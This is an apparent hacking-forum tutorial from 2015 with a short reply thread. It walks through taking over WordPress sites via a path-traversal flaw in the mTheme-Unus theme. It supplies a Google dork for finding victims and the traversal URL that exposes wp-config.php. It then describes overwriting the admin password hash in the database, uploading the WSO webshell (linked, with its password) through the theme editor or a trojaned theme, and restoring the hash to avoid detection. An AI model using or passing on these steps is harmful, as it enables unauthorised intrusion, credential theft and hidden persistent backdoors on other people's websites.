[img]http://www.binaryideasmobile.com/assets/public_/images/img_app.png[/img]

A few days ago Killabιts~ posted the latest public WordPress exploit..

Quote:https://hackforums.net/showthread.php?tid=4777782

Source:

Quote:http://www.exploit-db.com/exploits/36733/

But did not really go into detail how to fully run this, so I thought I'd explain to some of you how it's done.

Tutorial:

1.) Google Dork:

PHP Code


<?php 
inurl:?fdx_switcher=mobile 


2.) Pick a target from google and add this path to the end of the URL:

PHP Code


<?php 
/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php 


EXAMPLE:

PHP Code


<?php 
http://target.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php 


3.) If the target is vulnerable you will see the wp.config.php file.


4.) Notice the MySQL database credentials ;

Quote: DB_NAME:
DB_USER:
DB_PASSWORD:
DB_HOST:

There are 3 methods you can try to connect to the database.

Method #1:
Use a database administration tool for MySQL. like DBkiss or Adminer. If you don't have one you can use DBkiss hosted from my tool-box.

PHP Code


<?php 
http://www.fitsolutions.com.tr/wp-content/themes/vflex/dbkiss2.php 


Next enter the database credentials, if you see "localhost" under DB_HOST: Use a URL to IP Converter to resolve the server IP.

PHP Code


<?php 
http://freelabs.info/urltoiponline.aspx 


Then connect.

If successful, locate a user directory like "wp-users" "users" ..ect and click edit.


Next copy the admin/users password and paste it in a notepad (you will need it later)

Now go to a MD5 hash generator and create a password of your choosing and paste it in the same notepad.

PHP Code


<?php 
http://www.md5hashgenerator.com/index.php 


Ok now go back, edit and paste your MD5 password under admin's pass, and click Edit.





Ok now that, that's done, let's login at:

PHP Code


<?php 
http://www.target.com/wp-login.php 


WordPress Dashboard:

---

Method #2:
If method 1 does not work, you can try:

PHP Code


<?php 
/phpmyadmin/index.php
/phpMyAdmin/index.php
/pma/index.php 


EXAMPLE:

PHP Code


<?php 
http://target.com/phpmyadmin/index.php 


Like in method 1 change the admin password with your own. then login.

PHP Code


<?php 
http://www.target.com/wp-login.php 


Method #3:
This method is a last resort. Some admins are stupid enough to use the same password for the MySQL database and WP Dashboard login. Just enter the details in the wp-login. And 80% of the time the username will be admin

UPLOAD YOUR SHELL THROUGH WORDPRESS DASHBOARD:

Now that were in the WordPress Dashboard let's put our webshell on the site. To do that there are 2 method you can use. First you're gonna need a webshell. If you don't have one I've provided one I use in the link below.
WSO 2.6 Webshell:

Quote:http://pastebin.com/LFnPNNr6

PASSWORD: revolution

First Method:
1.) Once you gain access to the dashboard you will be able to upload your shell to the site by clicking on Appearance then Editor.


2.) On the left under Templates click on 404 template (404.php)


3.) Next paste your shell code and click "Upload File"


4.) Enter URL below to access your shell.

PHP Code


<?php 
www.target/wp-content/themes/THEME NAME /404.php 


Click in the middle of the page for the hidden login and enter the shell password: revolution



Second Method:
Sometimes it will not let you edit themes from the dashboard to bypass this you need to download a free WordPress theme at:

Quote:https://wordpress.org/themes/browse/popular/

1.)Next open theme.zip and delete the 404.php from the theme.

Next open a notepad and cut-n-paste the shell code into it and save it as 404.php and then move it into your theme, and save. Now our shell is in the theme.

2.) Ok now let's upload our theme. Go to Appearance then themes.


3.) Click Install Themes then Upload and install your theme.zip



4.) Enter URL below to access your shell.

PHP Code


<?php 
www.target/wp-content/themes/THEME NAME /404.php 


Click in the middle of the page for the hidden login and enter the shell password: revolution



Congratulations! You just shelled a WordPress Website. 🎉 From here you can edit/delete ANYTHING on the site, but please do not, these people work hard on there websites so it's best to leave it alone. Instead, save it and use it to host scripts/pics/html/php ..ect

Were not done, remember I told you to save the admins password? To stay undetected replace the admins password in the Database and click Edit/Go and logout. Now everything is back to normal, but we now have our shell on the site. That's it, there are a ton of WordPress website vulnerable to this exploit. Have fun! 🤝

Quote:https://hackforums.net/showthread.php?tid=4756985

Quote:https://hackforums.net/showthread.php?tid=4751712

Quote:https://hackforums.net/showthread.php?tid=2667946

Quote:https://hackforums.net/showthread.php?tid=2312449

(Apr 15, 2015 08:06 PM)F-Nuke Wrote:  You seem to be replacing a Blowfish encryption with an MD5 encryption. How is this gonna work?
Please correct me if I'm wrong.

(Apr 15, 2015 08:07 PM)๖ۣۜRoku Wrote:  Wordpress uses md5(unix), which, I believe, is why it works...

Not entirely sure.

(Apr 15, 2015 08:09 PM)F-Nuke Wrote:  In the picture, the previously existing hashes are blowfish phpass. PHPass uses a salt. How does a normal md5 encryption work in this case? Correct me if I'm wrong.